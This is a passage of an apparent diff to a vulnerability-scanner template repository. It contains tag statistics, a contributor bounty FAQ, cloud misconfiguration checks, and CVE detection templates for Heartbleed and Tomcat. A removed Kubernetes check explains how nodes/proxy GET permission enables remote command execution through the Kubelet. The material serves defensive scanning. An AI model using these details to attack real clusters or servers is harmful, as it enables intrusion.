ame":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6639 | dhiyaneshdk   |  2135 | http       | 11137 | info     |  5105 | file |   447 |
-| cve       |  4352 | daffainfo     |   950 | cloud      |   663 | high     |  2942 | dns  |    34 |
-| discovery |  3759 | princechaddha |   868 | file       |   447 | medium   |  2829 |      |       |
-| vkev      |  1829 | dwisiswant0   |   807 | code       |   303 | critical |  1860 |      |       |
-| wordpress |  1673 | pussycat0x    |   802 | network    |   280 | low      |   509 |      |       |
-| panel     |  1610 | ritikchaddha  |   781 | dast       |   251 | unknown  |    58 |      |       |
-| wp-plugin |  1488 | rxerium       |   719 | workflows  |   207 |          |       |      |       |
-| exposure  |  1469 | 0x_akoko      |   437 | javascript |   129 |          |       |      |       |
-| xss       |  1410 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
-| osint     |  1131 | theamanrawat  |   347 | dns        |    31 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
@@ -0,0 +1,81 @@
+# Nuclei Templates Bounty - FAQ
+
+## What is the purpose of this bounty program?
+The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
+
+## What are the bounty ranges for template submissions?
+Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
+
+## Where can I find bounty issues?
+Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
+
+## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
+Templates must meet the following criteria:
+1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
+
+## How do I start working on a bounty issue?
+1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
+2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
+3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
+
+## How often are new bounty issues added?
+We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
+
+## Can I collaborate with others?
+Yes, you can collaborate with other contributors and split rewards by commenting:
+```
+/claim #<issue_number>
+/split @contributor1
+/split @contributor2
+```
+
+## Is there a limit to how many issues I can work on?
+You can work on up to **3 issues** simultaneously.
+
+## What happens if I don’t complete an issue on time?
+Issues must be completed within **2 months**, or they will be closed.
+
+## How are rewards distributed?
+Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
+
+## What should I include in my template submission?
+Include the following:
+> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
+- **Complete POC**: A working Proof of Concept.
+- **Matchers**: Multiple matchers to prevent false positives.
+- **Debug Data**: Data to assist the triage team in validation.
+- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
+
+## What types of templates will be rejected?
+Templates may be rejected if they:
+- Rely solely on version detection.
+- Lack a complete POC.
+- Contain weak matchers or redundant changes to existing templates.
+
+## What should I avoid when submitting a template?
+- Avoid sharing real-world targets publicly.
+- Don’t submit templates with weak matchers.
+- Avoid unnecessary changes to existing templates.
+
+## Is there a leaderboard for contributors?
+Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
+
+## Is this program permanent?
+The bounty program is currently a test run, but we may make changes based on community feedback.
+
+## What additional rewards are available besides bounties?
+Beyond bounties, we also reward contributors with:
+- **Swag** such as t-shirts and stickers.
+- **Invites to security conferences** for standout contributors.
+- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
+
+> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).
@@ -11,7 +11,7 @@ info:
    Configure your Azure OpenAI instances to use Customer-Managed Keys by setting up encryption key attributes in the Azure Key Vault and then linking them to your OpenAI service instances.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/encryption-key-management
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"$name in $resourceGroup does not use CMK"'
-# digest: 4a0a00473045022100afdd86b713882a921e9c21b476cb37844ce0635ee1d0c1592eb8aa18f5210dd102201b5725b8bcdb6d39f49cc605f81577c44c01a10d3241e9f23e6ad78c27f86d51:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202d371c0b11e99b4639048d8838040f11717757a572237352dcc017df1fd69e630221008306f773a98c3b399126912a7b9338954bb249d368db8d7922f762bb4ef4632b:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure your Azure OpenAI service instances to use either system-assigned or user-assigned managed identities to enhance security and simplify resource access management.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/authentication
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -54,4 +54,4 @@ code:
      - type: dsl
        dsl:
          - 'name + " in " + resourceGroup + " does not use a managed identity"'
-# digest: 4a0a00473045022100945bab0dc27ba091ec91d4985711f5036fe43509c43c46e3469fbbf687335748022045e04dc407597434705d69a87dd9eac2eb5d112f8f1ea2da2978fec0af63c9f6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201d2dd4c0da912a83c8dfb6e3c6fd56414e4da3a8b0118396060fccb00c7800620220759f09afa595c913f3fa7017cf66a84b68a639f7ffb1e9a6a4fb24499c91a983:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure all Azure OpenAI service instances to use private endpoints to enhance security and ensure that these instances are not accessible over the public internet.
  reference:
    - https://docs.microsoft.com/en-us/azure/private-link/private-endpoint-overview
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - 'name + " in " + resourceGroup + " does not have private endpoint connections configured"'
-# digest: 4b0a00483046022100ae0d494dae8c7664105ad9828e46f4ae2036b1eb83f20fab69548c1286adce3e022100f9a79065e6a6b95e8ccdb5f2393bc0a29c7a4c566b4c621408d2fa395a354502:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fbffb2e6b093f781b961d876c19d527e0576808972d3b89b382cdb0272353f36022100947e6a2cf9934afc9b45991b207123cbedf3dd00437555c2aa7be081f3397a36:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    Configure the Azure OpenAI service instances to disable public network access to secure them against unauthorized external access.
  reference:
    - https://docs.microsoft.com/en-us/azure/cognitive-services/cognitive-services-apis-create-account-cli?tabs=windows
-  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config,ai
+  tags: cloud,devops,azure,microsoft,openai,azure-cloud-config

 flow: |
  code(1);
@@ -58,4 +58,4 @@ code:
      - type: dsl
        dsl:
          - '"$name in $resourceGroup has public network access enabled"'
-# digest: 4b0a00483046022100e7b40c386f3b996967bba58bdfcdd5364875f896a5b894e960b2a9d9041b5228022100b894c1d029450025de524a5dbaab8ead72723d06402973a454fe7ba8da39a1b9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a307116679a3bfcde8e8e662e343e414b7eb0307b7b48e8caab463a8fb1c4d1802200d15c837eb1ef033e38fdb9f6d48da4240a04cfb03831bfce2f082d7a64020a0:922c64590222798bb761d5b6d8e72950
@@ -1,77 +0,0 @@
-id: gcloud-service-account-keys-rotation
-
-info:
-  name: GCP Service Account Keys - No Rotation Configured
-  author: kelu27
-  severity: high
-  description: |
-    Detects Google Cloud Platform (GCP) service account keys that have no rotation enabled.
-    Keys with an expiration date of 9999-12-31T23:59:59 are considered non-rotating and pose security risks if compromised.
-  impact: |
-    Service account keys without rotation can remain valid indefinitely, making them vulnerable to compromise or misuse if leaked, stolen, or improperly secured.
-  remediation: |
-    Implement a key rotation policy for user-managed service account keys. Regularly rotate keys and delete old ones. Consider using Workload Identity Federation to eliminate the need for long-lived keys entirely.
-  reference:
-    - https://cloud.google.com/iam/docs/understanding-service-accounts
-    - https://cloud.google.com/iam/docs/best-practices-for-securing-service-accounts
-    - https://cloud.google.com/iam/docs/key-rotation
-  metadata:
-    max-request: 3
-  tags: cloud,devops,gcp,gcloud,iam,google-cloud-iam,gcp-cloud-config,security,rotation
-
-flow: |
-  code(1)
-  for(let projectId of iterate(template.projectIds)){
-    set("projectId", projectId)
-    code(2)
-    for(let email of iterate(template.emails)){
-      set("email", email)
-      code(3)
-    }
-  }
-
-self-contained: true
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud projects list --format="json(projectId)"
-
-    extractors:
-      - type: json
-        name: projectIds
-        internal: true
-        json:
-          - ".[].projectId"
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud iam service-accounts list --project $projectId --format="json(email)"
-
-    extractors:
-      - type: json
-        name: emails
-        internal: true
-        json:
-          - ".[].email"
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      gcloud iam service-accounts keys list --iam-account=$email --format="json"
-
-    matchers:
-      - type: word
-        words:
-          - "9999-12-31T23:59:59"
-
-    extractors:
-      - type: dsl
-        dsl:
-          - '"Service Account Key without Rotation Found in Service Account " + email + " in project " + projectId'
-# digest: 4a0a0047304502204623d9adc6a13d65071f0594fa0b3d7fa5e896ca090bf8fa9839d929ade0c112022100d60606906dc75634017a16226765ffff6e9425c77da34ba19fa3b5566826259e:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-auto-upgrades.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without automatic upgrades enabled"'
-# digest: 4a0a00473045022020ecc91c5e20e5b7a7e8c81a75e6f0841c2a8e6f6e10db7cd8c37cc485b65da8022100893a110acd719ebeb5da50f7aa6a9898afdc77259277fe618ce3312d34e5a494:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c9dcab870b9d74ffc92b4d124ae2c552cd7adc3c063df1c893eee8f1da63578022100d799039657b5ec98b9345069d8f38f00b0516c96be22e7a24057c45d767ac9e7:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/default-vpc-in-use.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/create-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,networking,security,vpc,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances using the default VPC network"'
-# digest: 4b0a00483046022100a628bcce3d1a7dcc53a56f40f8f4865f54dd43d343da23897a0ece18ebf75961022100a96b22e32f581a4f14a406d6f58ded7288f7cfdd39d3152d635786ac71f02c42:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5d1f2fcfc890c2f05563c6eb9622a256919795802a514c6182274d02a81818022100ebf9b5415abdc9b7966505657741b3d7e08b849035c0849d16be0aa5dcb8d7ed:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/prevent-external-ip-usage.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,networking,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with external IP addresses enabled"'
-# digest: 4a0a00473045022100eb58356e30e582e79db9e34c751398f257540bfa4716c2d1de37c82d242de38a0220320024c473e1bd4db36c9f640950a0a006aa63e5be2f444fbbd2254081cb3f05:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206b8cab9d698ed9f4177859d3256fe52c1eb954938c92c81e7b4af186c551ec20022100f088f4ac582da61bdfd232ed2e0ce6a428113cd5a1e690284b8783342f6895c3:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-idle-shutdown.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,cost-optimization,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without idle shutdown enabled"'
-# digest: 4a0a004730450220374d01f50a9d157a2d5fec68762d8051b89f6b1ed0376e88635e1511d68abe8a022100b34c712dc5baed678090996d90a412ddb40c480cec972fbef83ba807c150fc36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5693adc0278a31a62b47630197300145b36b00d470c8893ef5d2f19430607e0221008385cf51bd01f9652405b3344f8326549d4abcc49d876d73eb136a14818582d0:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-integrity-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,integrity,gcp-cloud-config

 flow: |
  code(1)
@@ -55,4 +55,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without integrity monitoring enabled"'
-# digest: 4a0a0047304502207db528887b8c3b4196abeece97c77bddd0a59322c0dca821358c99a93786708702210098618a9638dae1ff81fbe505882a575b4daa34ea2b3df20ce8f8662d92f5f8db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b215d362db9c0383615363d071e45a71b376694eb6a974ce4cbd5db9dec5691502200bc26776e97130ee6e43a1b6763258c4c8d24cc0095b319854af3f8812045dfa:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-cloud-monitoring.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,monitoring,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Cloud Monitoring enabled"'
-# digest: 490a00463044022046f0077349a98b3ff497d7d15ef487bb2814b921756ae2a564472817715425dc02204748a68363446c30b79aa3b2089a97a8c6314cb1ce1d2e7153659ffee5e3a2f5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c7bc99ba5cc3d543c53777ced4301fa9ece255d153202432c143fedcfab4955602206bc1d563f849b0db4fdcec3fc5d0fbf18372948eefe863ebdd7828364902ebe5:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/disable-root-access.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,root-access,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances with root access enabled"'
-# digest: 4b0a00483046022100f207075f7fb72babf0c77967aa1a0aecaecb83b2432bf71477b57a0c810f30a4022100f861b48c21882fec2e8b153fc922515644690029a3cfcc6200cb6b3bc34658bc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fafa09fd627295440cda0833154e362ad16f53551c11446c640eef34c1cd7e8022100a848ce9d7e2f458fe5454494e88df994cefe9ed2657c893fd8d7ac46091c6783:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-secure-boot.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,secure-boot,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Secure Boot enabled"'
-# digest: 4a0a0047304502207866f5d4ad7aba081232ed70b2ca4e104f7d781d1320b152cad1ada406601b4e022100dfebaafce7a40c3fa12304f63b34dd7d758108f65204e752139ec65d6dfd8bb0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082e89eb94bc0d7ab464530e9adc73c736fa580813fb37e4c135b491da8598f13022100e361b6ec75ffff463f72c5ab9af82594fa3bac07639c3147ede1fa6c2374cb6c:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.trendmicro.com/cloudoneconformity/knowledge-base/gcp/VertexAI/enable-vtpm.html
    - https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-instance
-  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config,ai
+  tags: cloud,devops,gcp,gcloud,vertexai,security,vtpm,gcp-cloud-config

 flow: |
  code(1)
@@ -53,4 +53,4 @@ code:
      - type: dsl
        dsl:
          - '"Project " + projectId + " has Vertex AI notebook instances without Virtual Trusted Platform Module (vTPM) enabled"'
-# digest: 4a0a0047304502200a062fbf1e24e81fed35d1e0da64536f63b695ad66c7c4ed40d8dbe2d5c6350702210085620cf4d8a4001277295a946d3c7fdbfe48d5c4211da71d13494be91f5b323f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008daab33ee8514bd0a358a39a0c7d5230d9f00695fc2dafcea6cb20b78efe6c1a022100f29c8980ff8d878cdca0220035201e74e8670496e896f4e8c4b6a1f41675ae13:922c64590222798bb761d5b6d8e72950
@@ -1,70 +0,0 @@
-id: k8s-clusterrole-nodes-proxy-rce
-
-info:
-  name: ClusterRoles with Risky nodes/proxy GET Permission
-  author: princechaddha
-  severity: high
-  description: |
-    Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource.
-    Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows
-    execution of commands in any container via WebSocket connections to the Kubelet API.
-    The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake
-    rather than the actual operation (exec/run/attach) which should require CREATE permission.
-  impact: |
-    Service accounts with nodes/proxy GET permission can potentially execute commands in any
-    container if they have network access to the Kubelet API (port 10250). This bypasses
-    expected RBAC controls and audit logging.
-  remediation: |
-    Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary.
-    Restrict network access to Kubelet port 10250 and implement network policies.
-  reference:
-    - https://grahamhelton.com/blog/nodes-proxy-rce
-  tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security
-
-flow: |
-  code(1);
-  for (let role of template.items) {
-    set("role", role)
-    javascript(1);
-  }
-
-self-contained: true
-code:
-  - engine:
-      - sh
-      - bash
-    source: kubectl get clusterrole --output=json
-    extractors:
-      - type: json
-        name: items
-        internal: true
-        json:
-          - '.items[]'
-
-javascript:
-  - code: |
-        let role = JSON.parse(template.role);
-        let riskyRules = 0;
-        if (role.rules) {
-          role.rules.forEach(rule => {
-            let apiGroups = rule.apiGroups || [];
-            let resources = rule.resources || [];
-            let verbs = rule.verbs || [];
-            let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*");
-            let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*");
-            let hasGetVerb = verbs.includes("get") || verbs.includes("*");
-            if (isCoreApiGroup && hasNodesProxy && hasGetVerb) {
-              riskyRules++;
-            }
-          });
-        }
-        if (riskyRules > 0) {
-          let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`);
-          Export(result);
-        }
-
-    extractors:
-      - type: dsl
-        dsl:
-          - response
-# digest: 4a0a00473045022100cf472116d86502fb62d55139553bddb302af32a62f5d97a692534391ead1659f02207a776d50650ff39e152e39cc48109ff7963ec2db0d4ad2b03100258ea77dd32d:922c64590222798bb761d5b6d8e72950
@@ -6,17 +6,13 @@ info:
  severity: high
  description: |
    The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users, and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and impersonate services and users.
-  remediation: |
-    Apply the latest security patches and updates from the vendor to address this vulnerability.
-  impact: |
-    Attackers can eavesdrop, steal sensitive data, impersonate services, and compromise user credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
  classification:
-    epss-score: 0.99999
-    epss-percentile: 0.99997
+    epss-score: 0.94464
+    epss-percentile: 0.99994
  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
@@ -111,7 +107,7 @@ code:
          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
-          port = parsed_url.port if parsed_url.port else 80 if parsed_url.scheme == "http" else 443
+          port = parsed_url.port if parsed_url.port else 443

          if not host:
              return
@@ -142,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
-  impact: |
-    Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise.
-  remediation: |
-    Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat.
  reference:
    - https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
    - https://nvd.nist.gov/vuln/detail/cve-2016-8735
@@ -17,8 +13,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.90338
-    epss-percentile: 0.99789
+    epss-score: 0.93875
+    epss-percentile: 0.9986
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
